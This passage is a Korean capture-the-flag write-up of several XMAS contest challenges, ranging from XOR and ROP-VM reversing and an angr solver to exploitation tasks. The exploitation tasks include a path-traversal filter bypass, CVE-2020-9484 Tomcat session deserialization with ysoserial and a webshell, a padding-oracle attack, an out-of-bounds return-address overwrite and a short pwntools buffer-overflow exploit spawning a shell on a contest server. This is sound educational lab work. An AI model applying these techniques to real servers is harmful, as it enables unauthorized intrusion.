/assets/2021-01-01/202101_XMAS35.png

또한, 위의 값을 통해 계산된 tb값을 통해 xor에 사용할 key값을 얻어오는데, key[0x06] = tb[0x0e] 와 같이 순차적으로 어셈블리를 따라가며 손으로 구했고, 그 값은 1ockd0or 임을 확인했다.

따라서, 주어진 value2와 새로 구한 key값을 xor하면 플래그를 획득할 수 있었다.

key = b"1ockd0or"
value2 = [0x69, 0x22, 0x22, 0x38, 0x1F, 0x43, 0x5B, 0x1C, 0x45, 0xE, 0x3C, 0x8, 0x5, 0x5E, 0x30, 0x17, 0x5F, 0x1B, 0x6, 0x19, 0x3B, 0x44, 0x7, 0x17, 0x6E, 0x7, 0x53, 0x1E, 0x17, 0x55, 0x12]
r = []
for i in range(len(value2)):
		r += [ value2[i] ^ key[i % len(key)] ]

print("".join(map(chr, r)))

/assets/2021-01-01/202101_XMAS36.png

Flag: XMAS{s4nta_can_enter_the_h0use}

[N] - ROVM (615pts)

/assets/2021-01-01/202101_XMAS37.png

문제 파일로 chall, chain, opcode 로 3개가 주어진다. 여기서 chall는 64bit ELF 바이너리로 이 프로그램은 chainopcode를 읽어와 VM으로서 실행된다. 바이너리를 분석하면 바로 알 수 있지만, 한눈에 확인해보기위해 ltrace 명령어를 이용해볼 수 있다.

/assets/2021-01-01/202101_XMAS38.png

위와 같이 0x1224000의 주소에 opcode파일을 읽어들이고, 0x1225000에는 chain을 읽어들여오는 것을 볼 수 있다. 프로그램 main의 마지막 부분에서는 return address0x1224001로, rbp0x1225000으로 변경하는데, 이를 통해 프로그램의 main이 끝난 후, chain에 들어있는 값들에 의해 실제 문제 내용이 실행될 것이라 볼 수 있다.

/assets/2021-01-01/202101_XMAS39.png

다음으로 opcodechain파일을 살펴볼 수 있는데, opcode는 흔히 ROP에 사용되는 ROP gadget이 들어있다.

/assets/2021-01-01/202101_XMAS40.png

/assets/2021-01-01/202101_XMAS41.png

그리고 chain에는 ROP chain이 구성되어있는데, 위에 보이는 opcode의 주소들로 구성되어있다.

/assets/2021-01-01/202101_XMAS42.png

아래 그림은 chall바이너리의 main이 끝나고 난뒤 수행되는 부분을 보기좋게 정리해본 것이다. 사용자로부터 0x100만큼 입력 읽어들여 0x1224800에 read하는 부분이다.

/assets/2021-01-01/202101_XMAS43.png

이렇듯 ROP(Return Oriented Programming)라는 기법에 맞게 실제로 가젯들과 체인을 이용해 새로 프로그래밍을 했다고 볼 수 있다. 이제 chainopcode를 매핑해가며 분석을 수행하면 아래와 같은 루틴을 가진 간단한 프로그램인 것을 알 수 있다.

def fail():
    print("Fail!")
    exit(0)

data = [0x96, 0x44, 0x5b, 0x25, 0x47, 0x8c, 0x59, 0x25, 0x92, 0x5a, 0x25, 0x41, 0xf0, 0x44, 0x27, 0xf0, 0x8c, 0x4c, 0x4c, 0x29, 0x59, 0x27, 0x25, 0x29, 0x2c, 0x59, 0x27, 0x76, 0x8c, 0x27, 0x5a, 0x25, 0x29, 0xc7, 0x29]
buf = list(input().encode())
if len(buf) != 35:
    fail()
for i in range(0, len(buf)):
    if (buf[i]*data[i])%0xfb != 1:
        fail()
print("Congratz!! You get the flag")

사용자로부터 35의 길이를 가지는 문자열을 입력받아, data 배열의 값들과 차례로 곱하여 나눗셈 결과 나머지가 1인 입력만이 Congratz를 출력하게 된다.

때문에 위의 조건에 맞는 입력값을 찾는 스크립트를 작성하여 플래그를 획득할 수 있었다.

data = [0x96, 0x44, 0x5b, 0x25, 0x47, 0x8c, 0x59, 0x25, 0x92, 0x5a, 0x25, 0x41, 0xf0, 0x44, 0x27, 0xf0, 0x8c, 0x4c, 0x4c, 0x29, 0x59, 0x27, 0x25, 0x29, 0x2c, 0x59, 0x27, 0x76, 0x8c, 0x27, 0x5a, 0x25, 0x29, 0xc7, 0x29]
flag = ""

for c in data:
    for i in range(256):
        if (i*c)%0xfb == 1:
            flag+=chr(i)
            break
print(flag)

Flag: XMAS{R0P_c4n_b5_pr0gr4mm1ng_1angu4g5_1o1}

[O] - gift (650pts)

/assets/2021-01-01/202101_XMAS44.png

문제 서버에 접속하면 Gift List , Send List , Community , Sign In 총 4개의 기능을 지원한다.

Send List 는 파일을 업로드하는 기능을 제공한다.

Gift ListSend List 에서 업로드한 파일을 확인할 수 있다.

Community 는 일반적인 게시판이며, 글을 작성할 수 있다.

Sign In 은 로그인 및 회원가입 기능을 제공한다.

가장 먼저, 회원가입 후 로그인 한다. Community 에는 별다른 취약점이 없는 것을 확인하였으며, Send List 의 경우, txt 파일을 제외한 나머지 확장자가 업로드 되지 않는 것을 확인하였다. 따라서 Gift List 를 중점적으로 살펴보았다.

Gift List 메뉴에 접근하면 http://host7.dreamhack.games:21247/list.jsp?name=qq 와 같은 형태로, name 파라미터에 로그인한 아이디가 들어간다.

이 때, name에 대한 검증이 없어 타인의 Gift List를 살펴볼 수 있었다. 여기서 name 파라미터에 .. 을 삽입하면 상위 경로의 디렉토리 리스팅이 가능하다는 것을 확인할 수 있었다.

여러번의 시도 끝에, ../ 가 필터링 되는 것으로 의심되었고, ..././ 와 같이 우회하여 상위 경로로 접근할 수 있었다. 이를 통해 소스코드 및 설정파일 등의 위치를 파악할 수 있었다.

다음으로, Send List 에서 업로드 한 파일은 Gift List 에서 확인할 수 있었는데, 이 때 사용하는 URL은 http://host7.dreamhack.games:21247/detail.jsp?file=test.txt 와 같은 형태이다. detail.jsp 또한 상위 경로로 접근이 가능한 상태였으며, 이를 통해 위에서 알아낸 경로로 접근하여 소스코드 및 설정파일을 가져올 수 있었다.

루트 디렉토리special_gift 라는 파일이 존재했는데, 실행파일이기 때문에 detail.jsp 를 이용하여 내용을 가져올 수 없었다.

결과적으로 RCE 를 통해 해당 파일을 실행해야만 했는데, send.jsp 를 살펴보면 txt 파일 뿐만 아니라 session 파일을 업로드 할 수 있도록 허용해둔 것을 확인할 수 있었다.

이를 통해 직렬화 오브젝트를 통해 공격하는 CVE-2020-9484 를 참고하여 공격할 수 있는 것을 확인하였다.

ysoserial 를 사용하여 시스템 명령어가 담긴 직렬화 session 파일을 생성하고, Send List 에서 해당 파일을 업로드한다.

Gift List 에서 확인할 수 있는 업로드 경로는 /usr/local/tomcat/media/gift/qq/{filename} 와 같은 형태이다.

따라서 JSESSIONID 쿠키의 값을 ../../usr/local/tomcat/media/gift/qq/{session_filename} 과 같은 형태로 설정한 후 메인페이지 등에 Request 요청을 날리게 되면 위에서 생성한 session 파일에 담긴 시스템 명령어가 실행된다.

이를 통해 웹쉘을 Send List 기능을 이용하여 업로드한 후, cp 명령어를 통해 jsp 로 확장자를 변경 및 소스코드가 담긴 위치로 이동시켜 웹쉘을 획득할 수 있었다.

/assets/2021-01-01/202101_XMAS45.png

이를 통해 루트 디렉토리에 있는 special_gift 파일을 확인할 수 있었고, cat 명령어를 통해 파일의 내용을 확인한 결과 /usr/local/tomcat/webapps/ROOT/flag 경로에 플래그를 쓰는 행위를 발견할 수 있었으며, 플래그 또한 확인할 수 있었다.

FLAG : XMAS{0mg_u_f1nd_a_sp3cia1_g1ft!!}

[P] - Oil system (385pts)

/assets/2021-01-01/202101_XMAS46.png

해당 문제는 인터페이스와 에뮬레이터를 하나의 바이너리로 구현한 문제였다. 인터페이스에서는 에뮬레이터에 동작할 파일을 생성 및 에뮬레이터 실행을 맡고 있으며, 에뮬레이터는 입력받은 데이터를 사용해서 구현된 코드를 실행시킨다. 에뮬레이터 내부에서는 아래와 같이 \x20\n 을 기준으로 토큰화 시킨후, sub_1a9a 함수를 실행시킨다.

/assets/2021-01-01/202101_XMAS47.png

sub_1a9a 함수에서는 아래의 그림과 같이 입력받은 값을 그대로 배열의 인자값으로 사용하는 것을 볼 수 있는데, 이는 oob가 발생하게 된다.

/assets/2021-01-01/202101_XMAS48.png

따라서, 스택에 존재하는 리턴 주소와 가젯 주소(base+0x1850)offset을 계산해서 연산시켜주면 리턴주소가 변경되므로 쉘을 획득할 수 있다. 이때, 가젯에 맞춰주기 위해서 파일명은 sh으로 해야한다.

/assets/2021-01-01/202101_XMAS49.png

Flag: XMAS{U5e_Ma11oc_Nex7_tim3_Mr_Kim}

[Q] - angrforge (409pts)

/assets/2021-01-01/202101_XMAS50.png

해당 문제는 함수 내부의 수많은 서브 함수들을 호출해주는데, 모든 함수들이 플래그 인풋에 대한 연산작업을 거친다.

/assets/2021-01-01/202101_XMAS51.png

따라서, 문제 이름에 걸맞게 angr를 사용해서 문제를 해결할 수 있었다. stdin를 처리하기 위해서 state를 구성했고, 적당히 constraint를 걸어서 빨리 풀 수 있었다.

import angr
import claripy

p = angr.Project('./angrforge', load_options={"auto_load_libs":False})

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(56)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

st = p.factory.full_init_state(
        args=['./angrforge'],
        add_options=angr.options.unicorn,
        stdin=flag,
)

for k in flag_chars:
    st.solver.add(k != 0)
    st.solver.add(k != 10)

sm = p.factory.simulation_manager(st)
#sm.explore(avoid=0x00403AFA, find=lambda s: "correct" in s.posix.dumps(1))
#print(sm.found)

#found = sm.found[0]
#print(found.solver.eval(flag, cast_to=str))
sm.run()

out = b''
for pp in sm.deadended:
    out = pp.posix.dumps(1)
    if b'OMG' in out:
        result = pp.posix.dumps(0)
        print(result)
        print(next(filter(lambda s: b'OMG' in s, out.split())))
        exit(0)

Flag : XMAS{h3_1s_b1o0d3lf_d3athkni9ht_wh0_will_kill_4ngrf0rge}

[R] - XP (556pts)

/assets/2021-01-01/202101_XMAS52.png

웹 상에서 Windows XP 테마의 템플릿을 기반으로 진행된 문제였다. 문제의 목표는 유료 컨텐츠 를 찾아 해당 기능을 사용하는 것이다.

처음 문제에 접속하면 Windows Login 창이 나타나며, 계정 생성과 로그인 기능을 지원한다. 계정 생성 시 유료 계정 을 선택하여 가입할 수 있었으나, 가입 후 기능 상의 차이는 없었다.

로그인 후 직박구리 폴더에 접근하면 what.mp4 라는 동영상이 존재하며, 이를 클릭 시 Windows Media Player가 실행되며, 재생 버튼을 누르면 약 3분 가량의 미리보기 동영상이 재생된다.

미리보기 3분이 지난 이후에는 유료 계정으로 전환할 시 3분 이상 볼 수 있다는 메시지가 나타나며 동영상이 종료된다.

유료 계정의 기능을 이용하기 위해 쿠키를 먼저 살펴보았다. 쿠키는 Flask 세션 토큰 으로 저장되어 있었으며, 온라인 디코딩 사이트를 통해 복호화하면 아래와 같은 형태의 값을 얻을 수 있다.

{"id":"qq2","primium":"KFxNCO0NAHWOSwr+sHrP2I2t9dsBClRuy8wyJsM/7RkXLg/fLM8qf7AqlpAaIQ5MwxGysMs+9HNsMgKuyjkQhndqZtAuVWaAX5z3CTg2l88=","sample":"tDTrwbLMug7UJgB9naoTTPSIOgjcyRZeGqr/zqTp/Gsuo2y4bNZu72yWD2EHNhfm5S75ni2l1oLVfHXtVp/HXo299T1wPpbnRUPmNKT+HCA="}

로그인 한 계정의 id와 primium, sample의 정보가 담긴 객체이다.

아직 이를 통해 알 수 있는 정보가 부족했기 때문에 다른 기능을 살펴보았는데, 이전의 what.mp4 동영상을 재생할 때 /api/check/video 와 같은 api를 호출하였다. 이 때, Flask 토큰sample 과 동일한 값을 파라미터로 전달하는 것을 확인하였다. 또한, 해당 값을 임의로 변조하여 전송하면 CBC 형식과 맞지 않다 와 비슷한 문구가 출력되었다.

이를 통해 Oracle Padding Attack 에 대한 힌트를 얻을 수 있었으며, 공격 스크립트를 작성하여 해당 값을 복호화 하였다.

복호화 후 plefile is in static/media/sample/sample.m3u8 와 같은 결과를 얻을 수 있었다. static/media/sample/sample.m3u8 의 경로는 what.mp4 의 ts 파일에 대한 시간 및 파일명을 명시해주는 파일이다.

이를 통해 primium 의 값에는 flag를 획득할 수 있는 영상에 대한 정보가 들어있을 것으로 유추할 수 있다.

primium 의 값을 복호화하면 static/media/h1dd/3nf1l35s/f14gs.m3u8 와 같은 경로 정보를 얻을 수 있으며, 해당 파일에는 static/media/h1dd/3nf1l35s/f14gs0.ts 와 같이 플래그가 담긴 영상 파일의 정보를 확인할 수 있다.

하지만 f14gs0.ts 파일을 다운받아 확인해보면, 약 2분 뒤 플래그가 나타난다는 문구가 담긴 영상이 재생된다. 따라서 적당히 시간 차이가 나는 200번대의 영상을 다운 받아 재생하여 플래그를 얻을 수 있었다.

/assets/2021-01-01/202101_XMAS53.png

FLAG : XMAS{wearLongP4dd1ng}

[T] - picky_eater (256pts)

/assets/2021-01-01/202101_XMAS54.png

먹고 싶은 것만 먹는 이라는 말에서 힌트를 얻었다. 게임을 전부 깼음애도 Flag가 맞지 않았는데, 그 이유는 아래에서 설명하겠다.

[U] - baby_RudOIPh (223pts)

/assets/2021-01-01/202101_XMAS56.png

arm64 아키텍처 바이너리에서 발생하는 간단한 bof 문제로 0x040069C 주소로 점프하면 system("/bin/sh");를 호출하는 코드가 존재한다.

from pwn import *

#r = process("./baby_RudOlPh")
r = remote("host4.dreamhack.games", 17388)
payload = b""
payload += b"A" * 72
payload += p64(0x040069C)
r.send(payload)
r.interactive()

로컬에서 쉘 획득이 가능한 것을 확인하고 대회 서버에서도 마찬가지로 진행하여 flag를 획득하였다.

/assets/2021-01-01/202101_XMAS57.png

Flag : XMAS{baby_RudOlPh’s_ARM_s0_ez!!}

[V] - mic_test (117pts)

/assets/2021-01-01/202101_XMAS58.png

Flag : XMAS{sAnt4_n3ed_qu4rant1ne}